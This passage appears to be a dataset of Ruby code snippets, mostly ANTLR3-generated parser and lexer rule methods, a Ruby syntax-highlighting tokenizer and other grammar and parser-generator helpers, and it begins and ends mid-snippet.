/(?=[;\\s<]|#{EOL})/ )\n when check( /module\\s+/ )\n start_group :keyword, scan( /module\\s+/ )\n start_group :module, scan_until( /(?=[;\\s]|#{EOL})/ )\n when check( /::/ )\n start_group :punct, scan(/::/)\n when check( /:\"/ )\n start_group :symbol, scan(/:/)\n scan_delimited_region :symbol, :symbol, \"\", true\n @allow_operator = true\n when check( /:'/ )\n start_group :symbol, scan(/:/)\n scan_delimited_region :symbol, :symbol, \"\", false\n @allow_operator = true\n when scan( /:[_a-zA-Z@$][$@\\w]*[=!?]?/ )\n start_group :symbol, matched\n @allow_operator = true\n when scan( /\\?(\\\\[^\\n\\r]|[^\\\\\\n\\r\\s])/ )\n start_group :char, matched\n @allow_operator = true\n when check( /(__FILE__|__LINE__|true|false|nil|self)[?!]?/ )\n if @selector || matched[-1] == ?? || matched[-1] == ?!\n start_group :ident,\n scan(/(__FILE__|__LINE__|true|false|nil|self)[?!]?/)\n else\n start_group :constant,\n scan(/(__FILE__|__LINE__|true|false|nil|self)/)\n end\n @selector = false\n @allow_operator = true\n when scan(/0([bB][01]+|[oO][0-7]+|[dD][0-9]+|[xX][0-9a-fA-F]+)/)\n start_group :number, matched\n @allow_operator = true\n else\n case peek(2)\n when \"%r\"\n scan_delimited_region :punct, :regex, scan( /../ ), true\n @allow_operator = true\n when \"%w\", \"%q\"\n scan_delimited_region :punct, :string, scan( /../ ), false\n @allow_operator = true\n when \"%s\"\n scan_delimited_region :punct, :symbol, scan( /../ ), false\n @allow_operator = true\n when \"%W\", \"%Q\", \"%x\"\n scan_delimited_region :punct, :string, scan( /../ ), true\n @allow_operator = true\n when /%[^\\sa-zA-Z0-9]/\n scan_delimited_region :punct, :string, scan( /./ ), true\n @allow_operator = true\n when \"<<\"\n saw_word = ( chunk[-1,1] =~ /[\\w!?]/ )\n start_group :punct, scan( /<</ )\n if saw_word\n @allow_operator = false\n return\n end\n\n float_right = scan( /-/ )\n append \"-\" if float_right\n if ( type = scan( /['\"]/ ) )\n append type\n delim = scan_until( /(?=#{type})/ )\n if delim.nil?\n append scan_until( /\\Z/ )\n return\n end\n else\n delim = scan( /\\w+/ ) or return\n end\n start_group :constant, delim\n start_group :punct, scan( /#{type}/ ) if type\n @heredocs << [ float_right, type, delim ]\n @allow_operator = true\n else\n case peek(1)\n when /[\\n\\r]/\n unless @heredocs.empty?\n scan_heredoc(*@heredocs.shift)\n else\n start_group :normal, scan( /\\s+/ )\n end\n @allow_operator = false\n when /\\s/\n start_group :normal, scan( /\\s+/ )\n when \"#\"\n start_group :comment, scan( /#[^\\n\\r]*/ )\n when /[A-Z]/\n start_group @selector ? :ident : :constant, scan( /\\w+/ )\n @allow_operator = true\n when /[a-z_]/\n word = scan( /\\w+[?!]?/ )\n if !@selector && KEYWORDS.include?( word )\n start_group :keyword, word\n @allow_operator = false\n elsif\n start_group :ident, word\n @allow_operator = true\n end\n @selector = false\n when /\\d/\n start_group :number,\n scan( /[\\d_]+(\\.[\\d_]+)?([eE][\\d_]+)?/ )\n @allow_operator = true\n when '\"'\n scan_delimited_region :punct, :string, \"\", true\n @allow_operator = true\n when '/'\n if @allow_operator\n start_group :punct, scan(%r{/})\n @allow_operator = false\n else\n scan_delimited_region :punct, :regex, \"\", true\n @allow_operator = true\n end\n when \"'\"\n scan_delimited_region :punct, :string, \"\", false\n @allow_operator = true\n when \".\"\n dots = scan( /\\.{1,3}/ )\n start_group :punct, dots\n @selector = ( dots.length == 1 )\n when /[@]/\n start_group :attribute, scan( /@{1,2}\\w*/ )\n @allow_operator = true\n when /[$]/\n start_group :global, scan(/\\$/)\n start_group :global, scan( /\\w+|./ ) if check(/./)\n @allow_operator = true\n when /[-!?*\\/+=<>(\\[\\{}:;,&|%]/\n start_group :punct, scan(/./)\n @allow_operator = false\n when /[)\\]]/\n start_group :punct, scan(/./)\n @allow_operator = true\n else\n # all else just falls through this, to prevent\n # infinite loops...\n append getch\n end\n end\n end\n end\n end", "def program\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 1 )\n return_value = ProgramReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n source_elements1 = nil\n\n stream_source_elements = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule source_elements\" )\n begin\n # at line 251:3: ( source_elements -> source_elements | -> ^( UNDEFINED ) )\n alt_1 = 2\n look_1_0 = @input.peek( 1 )\n\n if ( look_1_0 == GENERAL || look_1_0 == GET || look_1_0 == ARROW || look_1_0 == IF || look_1_0 == REGEX || look_1_0 == INCR || look_1_0 == BREAK || look_1_0 == RETURN || look_1_0 == IS_DEFINED || look_1_0 == LBRACE || look_1_0 == LBRACK || look_1_0.between?( SEMI, CONST ) || look_1_0.between?( SET, LET ) || look_1_0 == DDOC || look_1_0.between?( DECR, LPAREN ) || look_1_0 == DELETE || look_1_0.between?( DGENERAL, DO ) || look_1_0 == THROW || look_1_0 == TILDE || look_1_0 == TRUE || look_1_0 == TRY || look_1_0.between?( TYPEOF, NEW ) || look_1_0.between?( EACH, UNDEFINED ) || look_1_0.between?( NULL, UNLESS ) || look_1_0 == UNTIL || look_1_0 == FALSE || look_1_0 == VAR || look_1_0.between?( VOID, FOR ) || look_1_0 == WHILE || look_1_0.between?( WITH, YIELD ) || look_1_0.between?( IS_UNDEFINED, DOC ) || look_1_0.between?( T__148, T__150 ) )\n alt_1 = 1\n elsif ( look_1_0 == EOF )\n alt_1 = 2\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n raise NoViableAlternative( \"\", 1, 0 )\n end\n case alt_1\n when 1\n # at line 251:5: source_elements\n @state.following.push( TOKENS_FOLLOWING_source_elements_IN_program_1733 )\n source_elements1 = source_elements\n @state.following.pop\n if @state.backtracking == 0\n stream_source_elements.add( source_elements1.tree )\n end\n # AST Rewrite\n # elements: source_elements\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 251:21: -> source_elements\n @adaptor.add_child( root_0, stream_source_elements.next_tree )\n\n\n\n return_value.tree = root_0\n\n end\n when 2\n # at line 252:21: \n # AST Rewrite\n # elements: \n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 252:21: -> ^( UNDEFINED )\n # at line 252:24: ^( UNDEFINED )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( @adaptor.create_from_type( UNDEFINED, \"UNDEFINED\" ), root_1 )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 1 )\n\n end\n \n return return_value\n end", "def t__11!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 2)\n\n type = T__11\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 17:9: '::'\n match(\"::\")\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 2)\n\n end", "def block\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 14)\n return_value = BlockReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n lp = nil\n rp = nil\n char_literal76 = nil\n char_literal78 = nil\n opts = nil\n altpair77 = nil\n altpair79 = nil\n\n tree_for_lp = nil\n tree_for_rp = nil\n tree_for_char_literal76 = nil\n tree_for_char_literal78 = nil\n stream_T__81 = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token T__81\")\n stream_T__82 = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token T__82\")\n stream_T__83 = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token T__83\")\n stream_T__78 = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token T__78\")\n stream_altpair = ANTLR3::AST::RewriteRuleSubtreeStream.new(@adaptor, \"rule altpair\")\n stream_options_spec = ANTLR3::AST::RewriteRuleSubtreeStream.new(@adaptor, \"rule options_spec\")\n begin\n # at line 194:9: lp= '(' ( (opts= options_spec )? ':' )? altpair ( '|' altpair )* rp= ')'\n lp = match(T__81, TOKENS_FOLLOWING_T__81_IN_block_1124) \n if @state.backtracking == 0\n stream_T__81.add(lp)\n end\n # at line 195:3: ( (opts= options_spec )? ':' )?\n alt_31 = 2\n look_31_0 = @input.peek(1)\n\n if (look_31_0 == OPTIONS || look_31_0 == T__78) \n alt_31 = 1\n end\n case alt_31\n when 1\n # at line 195:5: (opts= options_spec )? ':'\n # at line 195:5: (opts= options_spec )?\n alt_30 = 2\n look_30_0 = @input.peek(1)\n\n if (look_30_0 == OPTIONS) \n alt_30 = 1\n end\n case alt_30\n when 1\n # at line 195:6: opts= options_spec\n @state.following.push(TOKENS_FOLLOWING_options_spec_IN_block_1133)\n opts = options_spec\n @state.following.pop\n if @state.backtracking == 0\n stream_options_spec.add(opts.tree)\n end\n\n end\n char_literal76 = match(T__78, TOKENS_FOLLOWING_T__78_IN_block_1137) \n if @state.backtracking == 0\n stream_T__78.add(char_literal76)\n end\n\n end\n @state.following.push(TOKENS_FOLLOWING_altpair_IN_block_1144)\n altpair77 = altpair\n @state.following.pop\n if @state.backtracking == 0\n stream_altpair.add(altpair77.tree)\n end\n # at line 196:11: ( '|' altpair )*\n loop do #loop 32\n alt_32 = 2\n look_32_0 = @input.peek(1)\n\n if (look_32_0 == T__82) \n alt_32 = 1\n\n end\n case alt_32\n when 1\n # at line 196:13: '|' altpair\n char_literal78 = match(T__82, TOKENS_FOLLOWING_T__82_IN_block_1148) \n if @state.backtracking == 0\n stream_T__82.add(char_literal78)\n end\n @state.following.push(TOKENS_FOLLOWING_altpair_IN_block_1150)\n altpair79 = altpair\n @state.following.pop\n if @state.backtracking == 0\n stream_altpair.add(altpair79.tree)\n end\n\n else\n break #loop 32\n end\n end\n rp = match(T__83, TOKENS_FOLLOWING_T__83_IN_block_1165) \n if @state.backtracking == 0\n stream_T__83.add(rp)\n end\n # AST Rewrite\n # elements: options_spec, altpair\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream(\"rule return_value\", return_value.tree) : subtree_stream(\"token return_value\")\n\n root_0 = @adaptor.create_flat_list!\n # 198:9: -> ^( BLOCK[$lp,\\\"BLOCK\\\"] ( options_spec )? ( altpair )+ EOB[$rp,\\\"EOB\\\"] )\n # at line 198:12: ^( BLOCK[$lp,\\\"BLOCK\\\"] ( options_spec )? ( altpair )+ EOB[$rp,\\\"EOB\\\"] )\n root_1 = @adaptor.create_flat_list!\n root_1 = @adaptor.become_root(@adaptor.create!(BLOCK, lp, \"BLOCK\"), root_1)\n\n # at line 198:34: ( options_spec )?\n if stream_options_spec.has_next?\n @adaptor.add_child(root_1, stream_options_spec.next_tree)\n\n end\n\n stream_options_spec.reset();\n # at line 198:48: ( altpair )+\n unless stream_altpair.has_next?\n raise ANTLR3::RewriteEarlyExit\n end\n\n while stream_altpair.has_next?\n @adaptor.add_child(root_1, stream_altpair.next_tree)\n\n end\n\n stream_altpair.reset\n @adaptor.add_child(root_1, @adaptor.create!(EOB, rp, \"EOB\"))\n\n @adaptor.add_child(root_0, root_1)\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look(-1)\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing(root_0)\n @adaptor.set_token_boundaries(return_value.tree, return_value.start, return_value.stop)\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node!(@input, return_value.start, @input.look(-1), re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 14)\n\n end\n \n return return_value\n end", "def generate_syntax_tree\n build_ast(@parse_tree).first\n end", "def rpar!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 6 )\n\n\n\n type = RPAR\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 277:4: ')'\n match( 0x29 )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 6 )\n\n\n end", "def generate_parser( parser_plan, ast_class_lookup, output_directory )\n fill_template(\"tree_based_parser.rb\", STDOUT, parser_plan) do |macro_name, formatter|\n case macro_name\n when \"PRODUCTIONS\"\n generate_productions( parser_plan, ast_class_lookup, formatter )\n\n when \"STATES\"\n generate_states( parser_plan, formatter )\n \n when \"REDUCE_PROCESSING\"\n if ast_class_lookup.nil? then\n formatter.comment_block %[Build the production Node.]\n formatter << %[produced_node = Node.new( production.node_type )]\n \n formatter.comment_block %[If the user has defined a processor for this production, call it and save the result in the Node.]\n formatter << %[if method_defined?(production.production_processor_name) then]\n formatter << %[ produced_node.value = send( production.production_processor_name, *nodes )]\n formatter << %[elsif method_defined?(production.processor_name) then]\n formatter << %[ produced_node.value = send( production.processor_name, production.enslot_nodes(nodes) )]\n formatter << %[end]\n else\n formatter.comment_block %[Build the production Node.]\n formatter << %[ast_class = production.ast_class]\n formatter << %[ast_class = Local.const_get(production.ast_class.name) if defined? Local and Local.class == Module and Local.const_defined?(production.ast_class.name)]\n formatter << %[]\n formatter << %[produced_node = ast_class.new( production.enslot_nodes(nodes) )]\n\n formatter.comment_block %[If the user has defined a processor for this ASN, call it.]\n formatter << %[if method_defined?(production.processor_name) then]\n formatter << %[ send( production.processor_name, produced_node )]\n formatter << %[end]\n end\n \n else\n formatter << macro_name\n end\n end\n end", "def k_begin!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 55 )\n\n\n\n type = K_BEGIN\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 473:3: 'begin'\n match( \"begin\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 55 )\n\n\n end", "def parse_rule\n @s.skip(/[\\t\\ ]+/)\n name = @s.scan(RULE_RE)\n return if !name\n op = @s.scan(/\\ *:\\ */)\n raise \"expect op : #{@s.inspect}\" if !op\n rule_body = parse_rule_body\n raise \"expect rule body : #{@s.inspect}\" if !rule_body\n eol = parse_eols\n raise \"expect eol : #{@s.inspect}\" if !eol\n PegRule.new Token.new(\"name.rule\", name), rule_body\n end", "def lpar!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 5 )\n\n\n\n type = LPAR\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 273:4: '('\n match( 0x28 )\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 5 )\n\n\n end", "def compile_to_ruby_source_as parser_class_name\r\n result = \"class #{parser_class_name} < Dhaka::CompiledParser\\n\\n\"\r\n result << \" self.grammar = #{grammar.name}\\n\\n\"\r\n result << \" start_with #{start_state.id}\\n\\n\"\r\n states.each do |state|\r\n result << \"#{state.compile_to_ruby_source}\\n\\n\"\r\n end\r\n result << \"end\"\r\n result\r\n end", "def build_parser( descriptor, file = nil )\n return RCC::Scanner::Interpreter::Parser.new( @parser_plan, open_source(descriptor, file) )\n end", "def build_parser( descriptor, file = nil )\n return RCC::Scanner::Interpreter::Parser.new( @parser_plan, open_source(descriptor, file) )\n end", "def block\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 14 )\n return_value = BlockReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n lp = nil\n rp = nil\n char_literal76 = nil\n char_literal78 = nil\n opts = nil\n altpair77 = nil\n altpair79 = nil\n\n tree_for_lp = nil\n tree_for_rp = nil\n tree_for_char_literal76 = nil\n tree_for_char_literal78 = nil\n stream_T__81 = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token T__81\" )\n stream_T__82 = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token T__82\" )\n stream_T__83 = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token T__83\" )\n stream_T__78 = ANTLR3::AST::RewriteRuleTokenStream.new( @adaptor, \"token T__78\" )\n stream_altpair = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule altpair\" )\n stream_options_spec = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule options_spec\" )\n begin\n # at line 185:9: lp= '(' ( (opts= options_spec )? ':' )? altpair ( '|' altpair )* rp= ')'\n lp = match( T__81, TOKENS_FOLLOWING_T__81_IN_block_1119 )\n if @state.backtracking == 0\n stream_T__81.add( lp )\n end\n # at line 186:3: ( (opts= options_spec )? ':' )?\n alt_31 = 2\n look_31_0 = @input.peek( 1 )\n\n if ( look_31_0 == OPTIONS || look_31_0 == T__78 )\n alt_31 = 1\n end\n case alt_31\n when 1\n # at line 186:5: (opts= options_spec )? ':'\n # at line 186:5: (opts= options_spec )?\n alt_30 = 2\n look_30_0 = @input.peek( 1 )\n\n if ( look_30_0 == OPTIONS )\n alt_30 = 1\n end\n case alt_30\n when 1\n # at line 186:6: opts= options_spec\n @state.following.push( TOKENS_FOLLOWING_options_spec_IN_block_1128 )\n opts = options_spec\n @state.following.pop\n if @state.backtracking == 0\n stream_options_spec.add( opts.tree )\n end\n\n end\n char_literal76 = match( T__78, TOKENS_FOLLOWING_T__78_IN_block_1132 )\n if @state.backtracking == 0\n stream_T__78.add( char_literal76 )\n end\n\n end\n @state.following.push( TOKENS_FOLLOWING_altpair_IN_block_1139 )\n altpair77 = altpair\n @state.following.pop\n if @state.backtracking == 0\n stream_altpair.add( altpair77.tree )\n end\n # at line 187:11: ( '|' altpair )*\n while true # decision 32\n alt_32 = 2\n look_32_0 = @input.peek( 1 )\n\n if ( look_32_0 == T__82 )\n alt_32 = 1\n\n end\n case alt_32\n when 1\n # at line 187:13: '|' altpair\n char_literal78 = match( T__82, TOKENS_FOLLOWING_T__82_IN_block_1143 )\n if @state.backtracking == 0\n stream_T__82.add( char_literal78 )\n end\n @state.following.push( TOKENS_FOLLOWING_altpair_IN_block_1145 )\n altpair79 = altpair\n @state.following.pop\n if @state.backtracking == 0\n stream_altpair.add( altpair79.tree )\n end\n\n else\n break # out of loop for decision 32\n end\n end # loop for decision 32\n rp = match( T__83, TOKENS_FOLLOWING_T__83_IN_block_1160 )\n if @state.backtracking == 0\n stream_T__83.add( rp )\n end\n # AST Rewrite\n # elements: altpair, options_spec\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 189:9: -> ^( BLOCK[$lp,\\\"BLOCK\\\"] ( options_spec )? ( altpair )+ EOB[$rp,\\\"EOB\\\"] )\n # at line 189:12: ^( BLOCK[$lp,\\\"BLOCK\\\"] ( options_spec )? ( altpair )+ EOB[$rp,\\\"EOB\\\"] )\n root_1 = @adaptor.create_flat_list\n root_1 = @adaptor.become_root( @adaptor.create( BLOCK, lp, \"BLOCK\" ), root_1 )\n\n # at line 189:34: ( options_spec )?\n if stream_options_spec.has_next?\n @adaptor.add_child( root_1, stream_options_spec.next_tree )\n\n end\n\n stream_options_spec.reset();\n # at line 189:48: ( altpair )+\n stream_altpair.has_next? or raise ANTLR3::RewriteEarlyExit\n\n while stream_altpair.has_next?\n @adaptor.add_child( root_1, stream_altpair.next_tree )\n\n end\n stream_altpair.reset\n @adaptor.add_child( root_1, @adaptor.create( EOB, rp, \"EOB\" ) )\n\n @adaptor.add_child( root_0, root_1 )\n\n\n\n return_value.tree = root_0\n\n end# - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 14 )\n\n end\n \n return return_value\n end", "def src!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 60)\n # - - - - label initialization - - - -\n file = nil\n line = nil\n\n\n \n # - - - - main rule block - - - -\n # at line 604:7: 'src' ' ' file= ACTION_STRING_LITERAL ' ' line= INT\n match(\"src\")\n match(?\\s)\n file_start_1006 = self.character_index\n action_string_literal!\n file = create_token do |t|\n t.input = @input\n t.type = ANTLR3::INVALID_TOKEN_TYPE\n t.channel = ANTLR3::DEFAULT_CHANNEL\n t.start = file_start_1006\n t.stop = self.character_index - 1\n end\n match(?\\s)\n line_start_1012 = self.character_index\n int!\n line = create_token do |t|\n t.input = @input\n t.type = ANTLR3::INVALID_TOKEN_TYPE\n t.channel = ANTLR3::DEFAULT_CHANNEL\n t.start = line_start_1012\n t.stop = self.character_index - 1\n end\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out(__method__, 60)\n\n end", "def initialize(paren_start, element = nil, paren_end = nil)\n @options = @@parse_options\n @paren_type = paren_start[0]\n @offset = paren_start[1]\n if paren_end\n @length = (paren_end[1] - paren_start[1]) + paren_end[2]\n else\n @length = paren_start[2]\n end\n \n # delete head '(', '?', and tail \")\"\n @prefix = @paren_type.sub(/^\\(\\??/, \"\")\n if @prefix.index(\"(\") != 0\n @prefix.sub!(/\\)$/, \"\")\n end\n \n @name = get_name(@prefix)\n @condition = nil # set at generating json\n @refer_name = nil\n if element\n TstLog(\"Parenthesis: name:#{@name}, offset:#{@offset}, element:#{element}\")\n @element = element\n @type_name = \"LEX_PAREN\"\n else\n TstLog(\"Parenthesis: name:#{@name}, offset:#{@offset}, element: \\\"\\\"\")\n @element = TEmpty.new\n @type_name = \"LEX_OPTION_PAREN\" # (?x-i) etc.\n end\n @generated_string = []\n @nest = 0\n end", "def reduce_start_rule(_production, _range, _tokens, theChildren)\n rule_file = RuleFileTests.new(theChildren[0])\n tests = theChildren.last.flatten\n tests.each do |t|\n case t\n when MatchTest then rule_file.match_tests << t\n when NoMatchTest then rule_file.no_match_tests << t\n when CaptureTest then rule_file.capture_tests << t\n else\n raise StandardError, 'Internal error'\n end\n end\n\n rule_file\n end", "def start\n parse!\n run\n end", "def prog\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 1 )\n\n begin\n # at line 39:11: PROGRAM LKEY ( dclrG ';' )* ( fun )* RKEY\n match( PROGRAM, TOKENS_FOLLOWING_PROGRAM_IN_prog_143 )\n match( LKEY, TOKENS_FOLLOWING_LKEY_IN_prog_145 )\n # at line 39:24: ( dclrG ';' )*\n while true # decision 1\n alt_1 = 2\n case look_1 = @input.peek( 1 )\n when T__44 then look_1_1 = @input.peek( 2 )\n\n if ( look_1_1 == ID )\n alt_1 = 1\n\n end\n when T__45 then look_1_2 = @input.peek( 2 )\n\n if ( look_1_2 == ID )\n alt_1 = 1\n\n end\n when T__46 then look_1_3 = @input.peek( 2 )\n\n if ( look_1_3 == ID )\n alt_1 = 1\n\n end\n when T__47 then look_1_4 = @input.peek( 2 )\n\n if ( look_1_4 == ID )\n alt_1 = 1\n\n end\n end\n case alt_1\n when 1\n # at line 39:25: dclrG ';'\n @state.following.push( TOKENS_FOLLOWING_dclrG_IN_prog_148 )\n dclrG\n @state.following.pop\n match( T__42, TOKENS_FOLLOWING_T__42_IN_prog_149 )\n\n else\n break # out of loop for decision 1\n end\n end # loop for decision 1\n # at line 39:36: ( fun )*\n while true # decision 2\n alt_2 = 2\n look_2_0 = @input.peek( 1 )\n\n if ( look_2_0.between?( T__44, T__47 ) )\n alt_2 = 1\n\n end\n case alt_2\n when 1\n # at line 39:36: fun\n @state.following.push( TOKENS_FOLLOWING_fun_IN_prog_153 )\n fun\n @state.following.pop\n\n else\n break # out of loop for decision 2\n end\n end # loop for decision 2\n match( RKEY, TOKENS_FOLLOWING_RKEY_IN_prog_156 )\n # --> action\n agc_8\n # <-- action\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 1 )\n\n end\n \n return \n end", "def start(input_file_path)\n file_parser = FileParser.new input_file_path\n return puts 'File doesn\\'t exist' unless file_parser.parse_and_store_matched_data\n sessions = \n SessionList.create file_parser.matched_data\n Planner.store_sessions sessions\n Planner.create_plan_sheet sessions\n end", "def main(args)\n if (args.attr_length < 2)\n System.err.println(\"usage: java org.antlr.tool.RandomPhrase grammarfile startrule\")\n return\n end\n grammar_file_name = args[0]\n start_rule = args[1]\n seed = System.current_time_millis # use random seed unless spec.\n if ((args.attr_length).equal?(3))\n seed_str = args[2]\n seed = Long.parse_long(seed_str)\n end\n begin\n self.attr_random = Random.new(seed)\n composite = CompositeGrammar.new\n parser = Grammar.new(Tool.new, grammar_file_name, composite)\n composite.set_delegation_root(parser)\n fr = FileReader.new(grammar_file_name)\n br = BufferedReader.new(fr)\n parser.parse_and_build_ast(br)\n br.close\n parser.attr_composite.assign_token_types\n parser.attr_composite.define_grammar_symbols\n parser.attr_composite.create_nfas\n left_recursive_rules = parser.check_all_rules_for_left_recursion\n if (left_recursive_rules.size > 0)\n return\n end\n if ((parser.get_rule(start_rule)).nil?)\n System.out.println(\"undefined start rule \" + start_rule)\n return\n end\n lexer_grammar_text = parser.get_lexer_grammar\n lexer = Grammar.new\n lexer.import_token_vocabulary(parser)\n lexer.attr_file_name = grammar_file_name\n if (!(lexer_grammar_text).nil?)\n lexer.set_grammar_content(lexer_grammar_text)\n else\n System.err.println(\"no lexer grammar found in \" + grammar_file_name)\n end\n lexer.build_nfa\n left_recursive_rules = lexer.check_all_rules_for_left_recursion\n if (left_recursive_rules.size > 0)\n return\n end\n # System.out.println(\"lexer:\\n\"+lexer);\n token_types = ArrayList.new(100)\n random_phrase(parser, token_types, start_rule)\n System.out.println(\"token types=\" + RJava.cast_to_string(token_types))\n i = 0\n while i < token_types.size\n ttype_i = token_types.get(i)\n ttype = ttype_i.int_value\n ttype_display_name = parser.get_token_display_name(ttype)\n if (Character.is_upper_case(ttype_display_name.char_at(0)))\n chars_in_token = ArrayList.new(10)\n random_phrase(lexer, chars_in_token, ttype_display_name)\n System.out.print(\" \")\n j = 0\n while j < chars_in_token.size\n c_i = chars_in_token.get(j)\n System.out.print(RJava.cast_to_char(c_i.int_value))\n j += 1\n end\n else\n # it's a literal\n literal = ttype_display_name.substring(1, ttype_display_name.length - 1)\n System.out.print(\" \" + literal)\n end\n i += 1\n end\n System.out.println\n rescue JavaError => er\n System.err.println(\"Error walking \" + grammar_file_name + \" rule \" + start_rule + \" seed \" + RJava.cast_to_string(seed))\n er.print_stack_trace(System.err)\n rescue JavaException => e\n System.err.println(\"Exception walking \" + grammar_file_name + \" rule \" + start_rule + \" seed \" + RJava.cast_to_string(seed))\n e.print_stack_trace(System.err)\n end\n end", "def rule\n # -> uncomment the next line to manually enable rule tracing\n # trace_in(__method__, 10)\n @rule_stack.push(Scoperule.new)\n return_value = RuleReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n modifier = nil\n arg = nil\n rt = nil\n __DOC_COMMENT39__ = nil\n string_literal40 = nil\n string_literal41 = nil\n string_literal42 = nil\n string_literal43 = nil\n char_literal45 = nil\n string_literal46 = nil\n char_literal51 = nil\n char_literal53 = nil\n id44 = nil\n throws_spec47 = nil\n options_spec48 = nil\n rule_scope_spec49 = nil\n rule_action50 = nil\n alt_list52 = nil\n exception_group54 = nil\n\n tree_for_modifier = nil\n tree_for_arg = nil\n tree_for_rt = nil\n tree_for_DOC_COMMENT39 = nil\n tree_for_string_literal40 = nil\n tree_for_string_literal41 = nil\n tree_for_string_literal42 = nil\n tree_for_string_literal43 = nil\n tree_for_char_literal45 = nil\n tree_for_string_literal46 = nil\n tree_for_char_literal51 = nil\n tree_for_char_literal53 = nil\n stream_DOC_COMMENT = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token DOC_COMMENT\")\n stream_RET = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token RET\")\n stream_T__71 = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token T__71\")\n stream_BANG = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, \"token BANG\")\n stream_T__76 = ANTLR3::AST::RewriteRuleTokenStream.new(@adaptor, 